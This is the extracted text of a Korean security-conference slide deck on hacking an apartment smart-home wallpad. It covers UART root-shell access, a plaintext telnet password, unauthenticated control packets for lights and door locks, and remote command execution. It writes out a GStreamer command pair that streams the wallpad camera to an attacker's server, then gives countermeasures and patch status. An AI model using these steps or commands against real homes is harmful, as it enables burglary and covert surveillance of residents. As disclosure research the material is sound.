Home Network Hacking Grayhash 정구홍 2015.7.16
목차 발표자소개 홈네트워크연구계기 홈네트워크취약점공략과정 취약점데모 월패드쉘획득 전등제어 현관도어락제어 화상카메라감시 대응방안
발표자소개 정구홍 ( 멍멍, 몽이, 준우아빠 ) GrayHash(grayhash.com) 수석연구원 해커스쿨 (hackerschool.org) 운영자 각종해킹대회 (codegate, secuinside) 운영 Defcon CTF 본선다수진출 하드웨어해킹트레이닝코스운영 연락처 cybermong@grayhash.com http://facebook.com/goohong.jung
홈네트워크해킹계기
홈네트워크해킹계기
홈네트워크해킹계기
홈네트워크해킹계기
홈네트워크해킹계기
하지만제눈에들어온것은..
하지만제눈에들어온것은..
홈네트워크해킹계기
월패드공략절차
월패드공략절차 Step1 : 홈네트워크시스템의구조파악 Step2 : 공격대상선정 (wallpad) Step3 : wallpad 펌웨어 ( 소프트웨어 ) 획득 Step4 : wallpad 분해 Step5 : UART 연결 Step6 : 취약점탐지및분석 Step7 : 공격 (Exploitation) 진행
Step1 홈네트워크시스템의구조파악
현관 : 중앙컨트롤러 (gateway)
현관 : 중앙컨트롤러 (gateway)
현관 : 중앙컨트롤러 (gateway)
현관 : 중앙컨트롤러 (gateway) OS : Embedded Linux
거실 : Wallpad ( 사용자인터페이스 ) OS : Linux ( 개조된 Android 2.3)
거실 : Wallpad ( 사용자인터페이스 )
스마트홈제어방식
전등제어 스마트홈제어방식
난방제어 스마트홈제어방식
가스제어 스마트홈제어방식
현관도어락제어 스마트홈제어방식
로비출입문제어 스마트홈제어방식
엘리베이터호출 스마트홈제어방식
스마트홈제어방식 타세대와의음성 / 화상통화 (P2P)
스마트홈제어방식 단지내모든세대가서로연결되어있음
Step2 공격대상선정
Wallpad VS Gateway Wallpad 사용자 UI 역할 각종제어패킷송신 P2P 화상통화 Gateway 라우터, 중앙컨트롤러역할 각종패킷수신및주변장치제어 화상통화엔관여하지않음
Wallpad VS Gateway 둘모두결국같은패킷을송수신하므로둘중어떤것을분석해도상관없다. 즉, 둘중하나를이용해서패킷분석가능 하지만, 화상카메라는 Gateway 와단절되어있기때문에 ( 실제통화시의패킷만지나감 ) 화상카메라를제어하기위해선, 결국 Wallpad 를노려야한다.
Step3 Wallpad 펌웨어 ( 소프트웨어획득 )
펌웨어를획득하는다양한방법들 1. 제조사에서공개하는펌웨어 ( 업데이트파일 ) 다운로드 2. 자동 / 수동업데이트가될때패킷스니핑 3. UART 포트접속 4. 논리적취약점을이용하여 Shell 접근권한획득후추출 (partition dump, /dev/mtdblock) 5. Flash Memory 덤프 6. JTAG 포트접속
월패드분석결과 1. 제조사에서공개하는펌웨어 ( 업데이트파일 ) 다운로드 2. 자동 / 수동업데이트가될때패킷스니핑 3. UART 포트접속 4. 논리적취약점을이용하여 Shell 접근권한획득후추출 (partition dump, /dev/mtdblock) 5. Flash Memory 덤프 ( 삼성 K9F1G08U0D) 6. JTAG 포트접속
Step4 월패드 (wallpad) 분해
월패드분해
월패드분해
월패드분해
월패드분해
월패드분해결과 CPU NXP2120 국내 NEXELL 사개발 ARM11 기반의 32 비트프로세서, 800Mhz Flash Memory K9F1G08U0D 삼성개발, Nand Type, TSOP Package (48p) UART 포트 (O) JTAG 포트 (X)
Step5 UART 연결
UART 란? Universal asynchronous receiver/transmitter 범용비동기송 / 수신기 하드웨어통신규약의한종류 직렬통신프로토콜 데이터송신 / 수신시각각하나의 LINE 만이용 TX, RX 프로토콜이매우간단함 => 디버깅용도로많이쓰임
UART 포트
UART 포트
해커가 UART 를통해얻을수있는것들 Kernel, Application, Debug, Error 메시지 취약점공략에필요한다양한정보획득 부트로더 (Bootloader) Memory Reading, Writing 펌웨어획득및변조가능 커맨드쉘 (Command Shell) 펌웨어, Application 바이너리획득 동적분석가능 (ex. gdb)
월패드의 UART 포트
문제점 너 ~ 무작은 UART 커넥터
UART 케이블구매
UART 연결을위한장비 USB-UART, USB-RS232, USB-SERIAL, USB-TTL USB 기반 UART 통신장비 장치관리자 -> 포트 ->COM(n) 으로연결됨
UART 연결절차요약 관련 USB 드라이버설치 CP2102, PL2303, FT232 등 각핀연결 RX, TX, GND, VCC( 옵션 ) 터미널소프트웨어설치 Putty Xshell 연결정보설정및연결수행 Baud Rate (115200)
UART 포트연결
UART 포트연결
UART 연결결과 동영상 Demo
Shell 접속후확인된내용 UART 접속시바로 root 쉘획득! Android 기반운영체제 Telnet( 원격관리 ) 포트가열려있음 홈네트워트작동에필요한포트들이열려있음 다양한프로세스들이실행중
Step6 취약점분석
홈네트워크해킹구상 모든제어는 network packet 기반으로이루어진다. 그러므로 packet replay attack 에취약할수있다. 가정 (1) 패킷송신자의 identity/credential 검사를하지않을것이다. 가정 (2) 만약검사를한다면 spoofing/bypass 가가능할것이다.
취약점분석대상 (1) Wallpad 와 Gateway 사이의패킷분석 스마트홈시스템제어
취약점분석대상 (2) Wallpad device 장악 카메라 / 마이크제어
취약점분석진행 바이너리분석 (ida + hex-rays)
취약점분석진행 네트워크패킷분석 (tcpdump + wireshark)
발견된취약점들정리 1. telnet 서비스 (/user/app/bin/telnetd) 가열려있으며, passwd 가암호화되어있지않고, 기기별로다르게설정되어있지않음 2. 모든제어통신패킷이암호화되어있지않아해커가쉽게분석가능 3. 모든제어통신패킷에인증절차및 ACL 제어가적용되어있지않음 4. 특정서비스 (/user/app/bin/cmxnp) 를통해원격임의명령실행가능 5. 많은서비스들이시스템해킹공격 (ex. Buffer Overflow) 에취약함
Step7 공격 (Exploitation) 진행
Telnet 계정분석 /etc/passwd, /etc/shadow 가존재하지않음 /usr/bin/login 계정정보를담고있는파일탐색 => 계정정보를바이너리안에가지고있는것을확인 암호가평문형태로존재하는것을확인 Hash 를사용하지않음
Telnet 계정분석
Telnet 계정분석
IP 체계분석 Gateway : 10.7.5.30 Wallpad : 10.7.5.31 10 : 공통 7 : 동 5 : 층 3x : 호수 30 : gateway 31 : wallpad
스마트홈강제제어취약점 전등제어 현관도어락제어 임의명령실행 화상카메라 / 마이크제어
스마트홈제어패킷예제 전등제어패킷
전등제어 동영상 Demo
스마트홈제어패킷예제 현관도어락오픈패킷
현관도어락제어 동영상 Demo
외부에서의접근방법
외부에서의접근방법 2
외부에서의접근방법 2
스마트홈제어패킷예제 임의명령실행가능
스마트홈제어패킷예제 화상카메라 / 마이크제어명령 Gstreamer Library 이용 월패드서버 # /user/app/bin/gst-launch-1.0 cmxvideosrc src=cmos header=true xpos=0 ypos=0 width=0 height=0 bitrate=6 gop=6 lcd=true! video/mpeg, mpegversion=4, width=320, height=240, framerate=6/1! tcpserversink host=10.11.10.21 port=6161 해커서버 # gst-launch-1.0 -v tcpclientsrc host=10.11.10.21 port=6161! filesink location=/tmp/capture.mpg
화상카메라제어 동영상 Demo
대응방안 wallpad/gateway 의취약점 ( 특히 remote) 제거 계정정보및각종패스워드암호화 BOF, FS 및논리적취약점패치 해커의리버싱을방해한다. 난독화 (Obfuscation) 안티리버싱 (Anti-Reversing)
대응방안 이상패킷모니터링 예상되지않은패킷발생시경고 디바이스에 Shell 접속이이루어질시경고 마이크 / 카메라사용시하드웨어적으로표시 제어패킷송신자의 identity 확인 IP, MAC Address 제어패킷암호화 대칭키 비대칭키
제어패킷암호화 ( 대칭키 ) 대칭키암호화 제 3 자가패킷을해석하거나변조하지못한다. 세대별로서로다른 KEY 를사용해야한다. 101 호 : wallpad(keya 사용 ) <-> gateway(keya 사용 ) 102 호 : wallpad(keyb 사용 ) <-> gateway(keyb 사용 ) Key 의규칙성이존재하면안된다. 단점 Packet replay attack 에는여전히취약하다. 해결책 Timestamp Nonce
제어패킷암호화 ( 비대칭키 ) 제 3 자가패킷을해석하거나변조하지못한다. 단점 해커가자신의공개키 / 개인키사용가능 본인장비분석을통해평문의포맷은알고있다고가정 해결책 Certificate Pinning Permanent Session
현재패치상황 UART 콘솔접속불가 telnet 서비스접속불가 SSH 로대체, shadow 파일사용 Packet replay attack 에반응하지않음 원격명령실행취약점패치됨
What s Next? Coming soon! 433Mhz RF Hacking!
결론 - 공격과정요약 Step1 : 홈네트워크시스템의구조파악 gateway + wallpad Step2 : 공격대상선정 (wallpad) Step3 : wallpad 펌웨어 ( 소프트웨어 ) 획득 UART, Update, Flash Memory Dump Step4 : wallpad 분해 Step5 : UART 연결 Root Shell 획득 Step6 : 취약점분석 패킷스니핑 + 바이너리분석 Step7 : 공격 (Exploitation) 진행
결론 임베디드장비의보안 BOF, FS 등의철저한취약점검증필요 패킷 / 데이터암호화및 Identity 확인필요 리버싱방지를위한난독화, 안티리버싱적용필요 하드웨어적인보안작업필요 (UART, JTAG 차단 ) 언제든지해커의먹이가될수있다는인식전환필요
Q/A
감사합니다!